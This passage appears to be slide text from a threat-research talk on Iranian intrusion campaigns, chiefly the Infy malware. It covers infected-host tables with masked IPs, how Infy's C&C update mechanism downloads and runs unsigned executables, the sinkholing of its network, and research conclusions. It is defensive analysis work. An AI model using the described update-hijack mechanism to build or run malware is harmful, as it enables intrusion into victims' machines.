DESKTOP-TFG03B1	29	9/1/2016	2.180.96.xxx 5.232.135.xxx 5.232.140.xxx 5.232.136.xxx 5.232.143.xxx	Mashhad, Khorasan Razavi, Iran
WIN-A2HDDI940BE	29	12/1/2016	192.99.220.xxx	Canada (OVH)
WIN-SLRJHLCR4VK	30	20/2/2016	5.232.154.xxx	Khorasan Razavi, Iran
USER1-DA087865E	31	1/5/2016	217.172.105.xxx	Iran (Asiatech)
DESKTOP-TFG03B1	31	1/5/2016	217.172.105.xxx	Iran (Asiatech)


(Mashhad) Razavi Khorasan, Iran

Update system

- When the malware checks in with the C&C, it retrieves instructions.
- If the C&C replies to the HTTP request with a 302 Redirect to a given URL pointing to an .exe, Infy will download and execute it.
- No verification or signing, and...
- The DGA domains are obviously able to distribute updates...



Game over?

- On May 2nd, Palo Alto Networks releases a report.
- On May 12th Palo Alto starts sinkholing (parts) of the network.
- On May 14th the actors notice.
- Actor starts pushing updates with new C&Cs at any opportunity, in order to regain access.

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😑 دسترسی به تارنمای فراخوانده شده امکان پذیر نمی باشد. <u>جهت رسیدگی به گزارش ها و شکایات اینجا کلیک کنید.</u>



• حمل و نغل

[این صفحه بصورت خودکار پس از 0.0 تانیه وارد پیوندها می شود. (ماندن در این صفحه)]

بیمه و خدمات درمانی

• بين الملل

• سينما و تئاتر



Infy: summing up

- Very active group, will probably resurface.
- Rudimentary development skills.
- Decent social engineering skills.
- Worst OPSEC ever?
- Very, very successful. Managed to compromise several hundreds of targets.

Coming to an end...

Conclusions

- Dearth of information of historical campaigns, but Iranians have been the subject of targeted intrusion since at least early 2010.
- Intrusions and disruptions are conducted by disparate groups concurrent to each other with evolving strategies.
- Most observed incidents evince low to medium sophistication, primarily relying on social engineering.
- Same toolkits used against civil society as in espionage against foreign targets.
- Intrusions are common and normalized, but large surface area for surveillance due to low technical expertise.

Next steps

- Document the capabilities and campaigns associated with Iranian threat actors.
- Resurface evidence of previous campaigns prior to June 2013.
- Collect harm stories and case studies of intrusion attempts.
- Provide background narratives of actors and intrusions over time.
- Publish full research and datasets, including samples, hashes and IOCs.
 - <u>https://iranthreats.github.io</u>
- Coordinate further disclosure and remediation of campaigns.

Acknowledgements

- All our sources.
- Morgan Marquis-Boire
- Snorre Fagerland
- Nima Fatemi
- Domain Tools
- And many more...

Fighting the same fight

- We're all fighting bad guys.
- Our "customers" likely different from yours, but equally targeted and with a lot to lose.
- You have access to the data, and means to identify attacks.
- We have access to networks of people, and means to stop those attacks.
- Please, help.

Got samples? Got tips? Wanna help?

nex@amnesty.org PGP:E063 75E6 B9E2 6745 656C 63DE 8F28 F25B AAA3 9B12

cda@asc.upenn.edu PGP:510E 8BFC A60E 84B4 40EA 0F32 FAFB F2FA

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Thank you!

Claudio Guarnieri (@botherder) & Collin Anderson (@cda)